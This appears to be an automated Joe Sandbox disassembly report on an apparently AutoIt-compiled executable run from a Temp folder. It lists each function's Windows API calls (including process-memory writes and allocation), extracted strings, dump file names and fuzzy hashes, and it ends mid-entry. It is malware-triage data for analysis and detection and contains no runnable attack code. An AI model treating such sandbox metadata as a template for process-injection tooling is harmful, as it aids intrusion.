Function 0100D73A Relevance: 7.5, APIs: 5, Instructions: 40COMMONLIBRARYCODE

Download Yara Rule

APIs

_free.LIBCMT ref: 0100D752

Part of subcall function 010029C8: RtlFreeHeap.NTDLL(00000000,00000000,?,0100D7D1,00000000,00000000,00000000,00000000,?,0100D7F8,00000000,00000007,00000000,?,0100DBF5,00000000), ref: 010029DE
Part of subcall function 010029C8: GetLastError.KERNEL32(00000000,?,0100D7D1,00000000,00000000,00000000,00000000,?,0100D7F8,00000000,00000007,00000000,?,0100DBF5,00000000,00000000), ref: 010029F0

_free.LIBCMT ref: 0100D764
_free.LIBCMT ref: 0100D776
_free.LIBCMT ref: 0100D788
_free.LIBCMT ref: 0100D79A

Memory Dump Source

Source File: 00000006.00000002.1787080834.0000000000FD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00FD0000, based on PE: true

Associated: 00000006.00000002.1786992228.0000000000FD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1787665053.000000000106C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1787665053.0000000001092000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1788302770.000000000109C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1788635289.00000000010A4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_fd0000_MH7IABE9LKZLA9Q4.jbxd

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: e4e797feb68d2a5a947278c2a7d3400bd06e1a0de5e0e74b9dcef24506fc61e8
Instruction ID: bc40eab9865ff904bad744165a532fb7aecea3dcdf80ed7554014acf9dd628fb
Opcode Fuzzy Hash: e4e797feb68d2a5a947278c2a7d3400bd06e1a0de5e0e74b9dcef24506fc61e8
Instruction Fuzzy Hash: B9F068325442456BB663EBDCF6C8C5A7BDDBB44250BA40849F1CCD7584D735F8404770

Function 01035C44 Relevance: 7.5, APIs: 5, Instructions: 40windowtimeCOMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,000003E9), ref: 01035C58
GetWindowTextW.USER32(00000000,?,00000100), ref: 01035C6F
MessageBeep.USER32(00000000), ref: 01035C87
KillTimer.USER32(?,0000040A), ref: 01035CA3
EndDialog.USER32(?,00000001), ref: 01035CBD

Memory Dump Source

Source File: 00000006.00000002.1787080834.0000000000FD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00FD0000, based on PE: true

Associated: 00000006.00000002.1786992228.0000000000FD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1787665053.000000000106C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1787665053.0000000001092000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1788302770.000000000109C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1788635289.00000000010A4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_fd0000_MH7IABE9LKZLA9Q4.jbxd

Similarity

API ID: BeepDialogItemKillMessageTextTimerWindow
String ID:
API String ID: 3741023627-0
Opcode ID: cd2b9ce00b65c590cd1b25de5e6c4b9747363dacffa5d781dc046b413bee533f
Instruction ID: cea320f515a5e58c4dacb680960b0b296b436d7f3e9edcbc5e36584ef83e5503
Opcode Fuzzy Hash: cd2b9ce00b65c590cd1b25de5e6c4b9747363dacffa5d781dc046b413bee533f
Instruction Fuzzy Hash: D50144305107089EFB315B14DE4EF957BB8BB44705F04065AF6C2A14F1D7F9A9448B54

Function 010022A0 Relevance: 7.5, APIs: 5, Instructions: 30COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 010022BE

Part of subcall function 010029C8: RtlFreeHeap.NTDLL(00000000,00000000,?,0100D7D1,00000000,00000000,00000000,00000000,?,0100D7F8,00000000,00000007,00000000,?,0100DBF5,00000000), ref: 010029DE
Part of subcall function 010029C8: GetLastError.KERNEL32(00000000,?,0100D7D1,00000000,00000000,00000000,00000000,?,0100D7F8,00000000,00000007,00000000,?,0100DBF5,00000000,00000000), ref: 010029F0

_free.LIBCMT ref: 010022D0
_free.LIBCMT ref: 010022E3
_free.LIBCMT ref: 010022F4
_free.LIBCMT ref: 01002305

Memory Dump Source

Source File: 00000006.00000002.1787080834.0000000000FD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00FD0000, based on PE: true

Associated: 00000006.00000002.1786992228.0000000000FD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1787665053.000000000106C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1787665053.0000000001092000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1788302770.000000000109C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1788635289.00000000010A4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_fd0000_MH7IABE9LKZLA9Q4.jbxd

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: eaecfb4712228a110cea549f4bbbca6d4b353e6c830d9259533ae77adeb87880
Instruction ID: 9fdfb9676263031bb9c3bdd0dc48228cade4e1e919ad1e26cb5b6954796559e1
Opcode Fuzzy Hash: eaecfb4712228a110cea549f4bbbca6d4b353e6c830d9259533ae77adeb87880
Instruction Fuzzy Hash: 3EF054B48109159BA623BF54F40488D3FA8F7287A0B900506F4D0D72ECC73B4421AFE4

Function 00FE95C5 Relevance: 7.5, APIs: 5, Instructions: 29COMMON

Download Yara Rule

APIs

EndPath.GDI32(?), ref: 00FE95D4
StrokeAndFillPath.GDI32(?,?,010271F7,00000000,?,?,?), ref: 00FE95F0
SelectObject.GDI32(?,00000000), ref: 00FE9603
DeleteObject.GDI32 ref: 00FE9616
StrokePath.GDI32(?), ref: 00FE9631

Memory Dump Source

Source File: 00000006.00000002.1787080834.0000000000FD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00FD0000, based on PE: true

Associated: 00000006.00000002.1786992228.0000000000FD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1787665053.000000000106C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1787665053.0000000001092000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1788302770.000000000109C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1788635289.00000000010A4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_fd0000_MH7IABE9LKZLA9Q4.jbxd

Similarity

API ID: Path$ObjectStroke$DeleteFillSelect
String ID:
API String ID: 2625713937-0
Opcode ID: 5f479076ceb87555f4fa9b6fc8965bdc9a20f946edb592ab379e56b4d717c092
Instruction ID: e1755e48c7337cab9367514b5f2128e4a0103f7321d2a09d4b97c6ae42db286e
Opcode Fuzzy Hash: 5f479076ceb87555f4fa9b6fc8965bdc9a20f946edb592ab379e56b4d717c092
Instruction Fuzzy Hash: 00F04F31409B44EBEB365F66EA0C7643FA1BB41372F448215F4E5550F8CB7A8995EF20

Function 01000F47 Relevance: 7.4, APIs: 2, Strings: 2, Instructions: 389COMMONLIBRARYCODE

Download Yara Rule

APIs

__freea.LIBCMT ref: 010010F9
__freea.LIBCMT ref: 01001117

Part of subcall function 01001537: _free.LIBCMT ref: 0100154F

Strings

am/pm, xrefs: 0100117A
a/p, xrefs: 010011DE

Memory Dump Source

Source File: 00000006.00000002.1787080834.0000000000FD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00FD0000, based on PE: true

Associated: 00000006.00000002.1786992228.0000000000FD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1787665053.000000000106C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1787665053.0000000001092000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1788302770.000000000109C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1788635289.00000000010A4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_fd0000_MH7IABE9LKZLA9Q4.jbxd

Similarity

API ID: __freea$_free
String ID: a/p$am/pm
API String ID: 3432400110-3206640213
Opcode ID: 6f541605b23087880b22fab27844b9a76a78accd74b6d1681ec0924a98bfa1aa
Instruction ID: f44125d8433acb120f5964c768cf7d8983704f86b1268c186b3e493bfcdfb97c
Opcode Fuzzy Hash: 6f541605b23087880b22fab27844b9a76a78accd74b6d1681ec0924a98bfa1aa
Instruction Fuzzy Hash: 67D1BE71A042069AFB6B8F6CC855BFEBBF1EF05300F188199E6819B6D1D275D980CB91

Function 01057B7E Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 230COMMON

Download Yara Rule

APIs

Part of subcall function 00FF0242: EnterCriticalSection.KERNEL32(010A070C,010A1884,?,?,00FE198B,010A2518,?,?,?,00FD12F9,00000000), ref: 00FF024D
Part of subcall function 00FF0242: LeaveCriticalSection.KERNEL32(010A070C,?,00FE198B,010A2518,?,?,?,00FD12F9,00000000), ref: 00FF028A

Part of subcall function 00FD9CB3: _wcslen.LIBCMT ref: 00FD9CBD

Part of subcall function 00FF00A3: __onexit.LIBCMT ref: 00FF00A9

__Init_thread_footer.LIBCMT ref: 01057BFB

Part of subcall function 00FF01F8: EnterCriticalSection.KERNEL32(010A070C,?,?,00FE8747,010A2514), ref: 00FF0202
Part of subcall function 00FF01F8: LeaveCriticalSection.KERNEL32(010A070C,?,00FE8747,010A2514), ref: 00FF0235

Strings

5, xrefs: 01057C78
Variable must be of type 'Object'., xrefs: 01057C3A
G, xrefs: 01057C7F

Memory Dump Source

Source File: 00000006.00000002.1787080834.0000000000FD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00FD0000, based on PE: true

Associated: 00000006.00000002.1786992228.0000000000FD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1787665053.000000000106C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1787665053.0000000001092000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1788302770.000000000109C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1788635289.00000000010A4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_fd0000_MH7IABE9LKZLA9Q4.jbxd

Similarity

API ID: CriticalSection$EnterLeave$Init_thread_footer__onexit_wcslen
String ID: 5$G$Variable must be of type 'Object'.
API String ID: 535116098-3733170431
Opcode ID: e0396a2759a5214a2934c8932f11f9ddd8f51b12b5498a37418dd046297b0c06
Instruction ID: d365023e0c32f3ef8ef446abaa21135ebb2f2a24c61fe3e69b26095c28346ec3
Opcode Fuzzy Hash: e0396a2759a5214a2934c8932f11f9ddd8f51b12b5498a37418dd046297b0c06
Instruction Fuzzy Hash: 46917F71600209EFCB55EF58C890DAEBBB5FF44304F848099FD865B251DB71AE41EB61

Function 01032716 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 121windowCOMMON

Download Yara Rule

APIs

Part of subcall function 0103B403: WriteProcessMemory.KERNEL32(?,?,?,00000000,00000000,00000000,?,010321D0,?,?,00000034,00000800,?,00000034), ref: 0103B42D

SendMessageW.USER32(?,00001104,00000000,00000000), ref: 01032760

Part of subcall function 0103B3CE: ReadProcessMemory.KERNEL32(?,?,?,00000000,00000000,00000000,?,010321FF,?,?,00000800,?,00001073,00000000,?,?), ref: 0103B3F8

Part of subcall function 0103B32A: GetWindowThreadProcessId.USER32(?,?), ref: 0103B355
Part of subcall function 0103B32A: OpenProcess.KERNEL32(00000438,00000000,?,?,?,01032194,00000034,?,?,00001004,00000000,00000000), ref: 0103B365
Part of subcall function 0103B32A: VirtualAllocEx.KERNEL32(00000000,00000000,?,00001000,00000004,?,?,01032194,00000034,?,?,00001004,00000000,00000000), ref: 0103B37B

SendMessageW.USER32(?,00001111,00000000,00000000), ref: 010327CD
SendMessageW.USER32(?,00001111,00000000,00000000), ref: 0103281A

Strings

@, xrefs: 01032832

Memory Dump Source

Source File: 00000006.00000002.1787080834.0000000000FD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00FD0000, based on PE: true

Associated: 00000006.00000002.1786992228.0000000000FD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1787665053.000000000106C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1787665053.0000000001092000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1788302770.000000000109C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1788635289.00000000010A4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_fd0000_MH7IABE9LKZLA9Q4.jbxd

Similarity

API ID: Process$MessageSend$Memory$AllocOpenReadThreadVirtualWindowWrite
String ID: @
API String ID: 4150878124-2766056989
Opcode ID: 920bd8b56dcc2f17cd12a1665db2255b62c7906a83fb97004d79f7c411e09982
Instruction ID: f2b6dfaed21bc8351415eafdbf9339b28d2fed532b667d4e23cf18be922c04d0
Opcode Fuzzy Hash: 920bd8b56dcc2f17cd12a1665db2255b62c7906a83fb97004d79f7c411e09982
Instruction Fuzzy Hash: 5F416D72901219BFDB10DFA8CD41AEEBBB8FF59700F108095FA95B7180DA706E45CBA0

Function 0100172E Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 115COMMON

Download Yara Rule

APIs

GetModuleFileNameW.KERNEL32(00000000,C:\Users\user~1\AppData\Local\Temp\MH7IABE9LKZLA9Q4.exe,00000104), ref: 01001769
_free.LIBCMT ref: 01001834
_free.LIBCMT ref: 0100183E

Strings

C:\Users\user~1\AppData\Local\Temp\MH7IABE9LKZLA9Q4.exe, xrefs: 01001760, 01001767, 01001796, 010017CE

Memory Dump Source

Source File: 00000006.00000002.1787080834.0000000000FD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00FD0000, based on PE: true

Associated: 00000006.00000002.1786992228.0000000000FD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1787665053.000000000106C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1787665053.0000000001092000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1788302770.000000000109C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1788635289.00000000010A4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_fd0000_MH7IABE9LKZLA9Q4.jbxd

Similarity

API ID: _free$FileModuleName
String ID: C:\Users\user~1\AppData\Local\Temp\MH7IABE9LKZLA9Q4.exe
API String ID: 2506810119-3577256496
Opcode ID: 6f7b62a9887708b90d786926d70ad67277e342b24f8f7c4fe729c30cc8cf8b52
Instruction ID: 0ae9d72dab94fe3a2f2f71bdc65e49a1f49b113be1ae033bf2b9662af69ccc05
Opcode Fuzzy Hash: 6f7b62a9887708b90d786926d70ad67277e342b24f8f7c4fe729c30cc8cf8b52
Instruction Fuzzy Hash: 27318E75A00219EBEB23DF99D884D9EBBFCEF85310F5041A6E98497280D670CB40CBA0

Function 0103C27D Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 114windowCOMMON

Download Yara Rule

APIs

GetMenuItemInfoW.USER32(00000004,00000000,00000000,?), ref: 0103C306
DeleteMenu.USER32(?,00000007,00000000), ref: 0103C34C
DeleteMenu.USER32(?,00000000,00000000,?,00000000,00000000,010A1990,00B84D50), ref: 0103C395

Strings

0, xrefs: 0103C2DF

Memory Dump Source

Source File: 00000006.00000002.1787080834.0000000000FD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00FD0000, based on PE: true

Associated: 00000006.00000002.1786992228.0000000000FD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1787665053.000000000106C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1787665053.0000000001092000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1788302770.000000000109C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1788635289.00000000010A4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_fd0000_MH7IABE9LKZLA9Q4.jbxd

Similarity

API ID: Menu$Delete$InfoItem
String ID: 0
API String ID: 135850232-4108050209
Opcode ID: 5f507a9d637fa45a31fe8c60af18002d7e3ee1ccf627ecb5ef31477dcdcd8abe
Instruction ID: f46e54a31937358d03f83672d91f658be7e52e062cf534991959dd7b07fce41e
Opcode Fuzzy Hash: 5f507a9d637fa45a31fe8c60af18002d7e3ee1ccf627ecb5ef31477dcdcd8abe
Instruction Fuzzy Hash: E141A0712043029FE720DF29D984B6ABBE8AFC5314F048A5EF9E5E72D1D770A604CB52

Function 01064416 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 106COMMON

Download Yara Rule

APIs

SetWindowPos.USER32(00000000,00000000,00000000,00000000,00000000,00000000,00000013,?,?,SysTreeView32,0106CC08,00000000,?,?,?,?), ref: 010644AA
GetWindowLongW.USER32 ref: 010644C7
SetWindowLongW.USER32(?,000000F0,00000000), ref: 010644D7

Strings

SysTreeView32, xrefs: 0106447C

Memory Dump Source

Source File: 00000006.00000002.1787080834.0000000000FD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00FD0000, based on PE: true

Associated: 00000006.00000002.1786992228.0000000000FD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1787665053.000000000106C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1787665053.0000000001092000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1788302770.000000000109C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1788635289.00000000010A4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_fd0000_MH7IABE9LKZLA9Q4.jbxd

Similarity

API ID: Window$Long
String ID: SysTreeView32
API String ID: 847901565-1698111956
Opcode ID: b4d832829f2de29fe8c7e9d74352ff684e9e021f8d798e25c424fce13194700e
Instruction ID: e0227e0e1a33062277b9d3db5013e92a8bbb4b97d1f10fb40eef2cedd94dd10a
Opcode Fuzzy Hash: b4d832829f2de29fe8c7e9d74352ff684e9e021f8d798e25c424fce13194700e
Instruction Fuzzy Hash: 1431BE31210205AFEF618E38DC46BEA7BA9EB09334F204315FAB5D21E1DB75E8509B50

Function 0105304E Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 90networkCOMMON

Download Yara Rule

APIs

Part of subcall function 0105335B: WideCharToMultiByte.KERNEL32(00000000,00000000,?,?,00000000,00000000,00000000,00000000,?,?,?,?,?,01053077,?,?), ref: 01053378

inet_addr.WSOCK32(?,?,?,?,?,00000000), ref: 0105307A
_wcslen.LIBCMT ref: 0105309B
htons.WSOCK32(00000000,?,?,00000000), ref: 01053106

Strings

255.255.255.255, xrefs: 01053095, 0105309A

Memory Dump Source

Source File: 00000006.00000002.1787080834.0000000000FD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00FD0000, based on PE: true

Associated: 00000006.00000002.1786992228.0000000000FD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1787665053.000000000106C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1787665053.0000000001092000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1788302770.000000000109C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1788635289.00000000010A4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_fd0000_MH7IABE9LKZLA9Q4.jbxd

Similarity

API ID: ByteCharMultiWide_wcslenhtonsinet_addr
String ID: 255.255.255.255
API String ID: 946324512-2422070025
Opcode ID: 3fd0965c221f272659a135bbf1a14d568d732911d2a7e2b221a2702ae5e2cdf7
Instruction ID: 670689795425671ee86a26f7ef4e6ea6c42dbb4d0222804338714e3b12eff829
Opcode Fuzzy Hash: 3fd0965c221f272659a135bbf1a14d568d732911d2a7e2b221a2702ae5e2cdf7
Instruction Fuzzy Hash: 2831EF392002058FDBA0CF68C491AABBBF0FF04398F149099E9958F392CB72ED41C760

Function 01063EB8 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 89windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(00000000,00001009,00000000,?), ref: 01063F40
SetWindowPos.USER32(?,00000000,?,?,?,?,00000004), ref: 01063F54
SendMessageW.USER32(?,00001002,00000000,?), ref: 01063F78

Strings

SysMonthCal32, xrefs: 01063F0B

Memory Dump Source

Source File: 00000006.00000002.1787080834.0000000000FD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00FD0000, based on PE: true

Associated: 00000006.00000002.1786992228.0000000000FD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1787665053.000000000106C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1787665053.0000000001092000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1788302770.000000000109C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1788635289.00000000010A4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_fd0000_MH7IABE9LKZLA9Q4.jbxd

Similarity

API ID: MessageSend$Window
String ID: SysMonthCal32
API String ID: 2326795674-1439706946
Opcode ID: b6ff58882a2d10add56f6296d9c203b4fbdda2656beb147a57deb3ce467c90df
Instruction ID: baf13ce7062257f91da7c026573d426191e507399f32be76de27dbd441ac92c0
Opcode Fuzzy Hash: b6ff58882a2d10add56f6296d9c203b4fbdda2656beb147a57deb3ce467c90df
Instruction Fuzzy Hash: 3721D332200219BFEF229F54CC45FEA3BB9FF48714F110214FA996B1C0D6B5A850CB90

Function 01064653 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 87windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(00000000,00000469,?,00000000), ref: 01064705
SendMessageW.USER32(00000000,00000465,00000000,80017FFF), ref: 01064713
DestroyWindow.USER32(00000000,00000000,?,?,?,00000000,msctls_updown32,00000000,00000000,00000000,00000000,00000000,00000000,?,?,00000000), ref: 0106471A

Strings

msctls_updown32, xrefs: 01064684

Memory Dump Source

Source File: 00000006.00000002.1787080834.0000000000FD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00FD0000, based on PE: true

Associated: 00000006.00000002.1786992228.0000000000FD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1787665053.000000000106C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1787665053.0000000001092000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1788302770.000000000109C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1788635289.00000000010A4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_fd0000_MH7IABE9LKZLA9Q4.jbxd

Similarity

API ID: MessageSend$DestroyWindow
String ID: msctls_updown32
API String ID: 4014797782-2298589950
Opcode ID: c8796536ec0b657a5829c67a27c63488159c2d9a62bf1d52f2c8205277aa9f76
Instruction ID: 24abfaa8ae673d35bd1d976ca60d3ca9446f96f679ff8a67d5f3fceea33b59ff
Opcode Fuzzy Hash: c8796536ec0b657a5829c67a27c63488159c2d9a62bf1d52f2c8205277aa9f76
Instruction Fuzzy Hash: 24215CB5600209AFEB11DF68DC81DAB37EDEB5A3A4B04005AFA80DB251CB75EC11DB60

Function 010395AD Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 85COMMON

Download Yara Rule

APIs

_wcslen.LIBCMT ref: 0103961D

Strings

#notrayicon, xrefs: 010395B7
#OnAutoItStartRegister, xrefs: 010395F3
#requireadmin, xrefs: 010395D9

Memory Dump Source

Source File: 00000006.00000002.1787080834.0000000000FD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00FD0000, based on PE: true

Associated: 00000006.00000002.1786992228.0000000000FD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1787665053.000000000106C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1787665053.0000000001092000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1788302770.000000000109C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1788635289.00000000010A4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_fd0000_MH7IABE9LKZLA9Q4.jbxd

Similarity

API ID: _wcslen
String ID: #OnAutoItStartRegister$#notrayicon$#requireadmin
API String ID: 176396367-2734436370
Opcode ID: c3e8111ab2a4d71471b7da047527c7ca1a5ba0e681370a841479d216667f3f03
Instruction ID: a4988b5e49ec4e295fb887d3105ba4d8889b9d2032ea47a7df659cf72f895b21
Opcode Fuzzy Hash: c3e8111ab2a4d71471b7da047527c7ca1a5ba0e681370a841479d216667f3f03
Instruction Fuzzy Hash: D3218B3220461166D331BB299C12FBB73DC9FD5308F04402AFACA9B182EBD5A981D391

Function 010637B7 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 84windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(00000000,00000180,00000000,?), ref: 01063840
SendMessageW.USER32(?,00000186,00000000,00000000), ref: 01063850
MoveWindow.USER32(00000000,?,?,?,?,00000000,?,?,Listbox,00000000,00000000,?,?,?,?,?), ref: 01063876

Strings

Listbox, xrefs: 0106380F

Memory Dump Source

Source File: 00000006.00000002.1787080834.0000000000FD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00FD0000, based on PE: true

Associated: 00000006.00000002.1786992228.0000000000FD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1787665053.000000000106C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1787665053.0000000001092000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1788302770.000000000109C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1788635289.00000000010A4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_fd0000_MH7IABE9LKZLA9Q4.jbxd

Similarity

API ID: MessageSend$MoveWindow
String ID: Listbox
API String ID: 3315199576-2633736733
Opcode ID: 5a5fae193e548752cd9bb1ade7fec3ea7e0c570d45a6c3be9b64dafcf98adcec
Instruction ID: a5e646946bf0d25f81020e4ec4b6daddc4436d325b6451104e74fd84f272b0b2
Opcode Fuzzy Hash: 5a5fae193e548752cd9bb1ade7fec3ea7e0c570d45a6c3be9b64dafcf98adcec
Instruction Fuzzy Hash: D621B072610218BFEF228E58CC45EEB37AEFF89750F108154F9849B190C676DC5187E0

Function 010449F4 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 78COMMON

Download Yara Rule

APIs

SetErrorMode.KERNEL32(00000001), ref: 01044A08
GetVolumeInformationW.KERNEL32(?,?,00007FFF,?,00000000,00000000,00000000,00000000), ref: 01044A5C
SetErrorMode.KERNEL32(00000000,?,?,0106CC08), ref: 01044AD0

Strings

%lu, xrefs: 01044A6F

Memory Dump Source

Source File: 00000006.00000002.1787080834.0000000000FD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00FD0000, based on PE: true

Associated: 00000006.00000002.1786992228.0000000000FD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1787665053.000000000106C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1787665053.0000000001092000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1788302770.000000000109C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1788635289.00000000010A4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_fd0000_MH7IABE9LKZLA9Q4.jbxd

Similarity

API ID: ErrorMode$InformationVolume
String ID: %lu
API String ID: 2507767853-685833217
Opcode ID: dede2e5567e1a18df547e337bf2322128931e4af06b51d51adc5ddacf67fc810
Instruction ID: d7647e2aab7394a7b3768540db087dd6eef015a17fc6f8a90e0131aa7a66cfac
Opcode Fuzzy Hash: dede2e5567e1a18df547e337bf2322128931e4af06b51d51adc5ddacf67fc810
Instruction Fuzzy Hash: F3318171A00109AFDB10DF54C984EAA7BF8EF04304F0440A9E945DF352DB75ED45CB61

Function 010641EB Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 67windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(00000000,00000405,00000000,00000000), ref: 0106424F
SendMessageW.USER32(?,00000406,00000000,00640000), ref: 01064264
SendMessageW.USER32(?,00000414,0000000A,00000000), ref: 01064271

Strings

msctls_trackbar32, xrefs: 01064226

Memory Dump Source

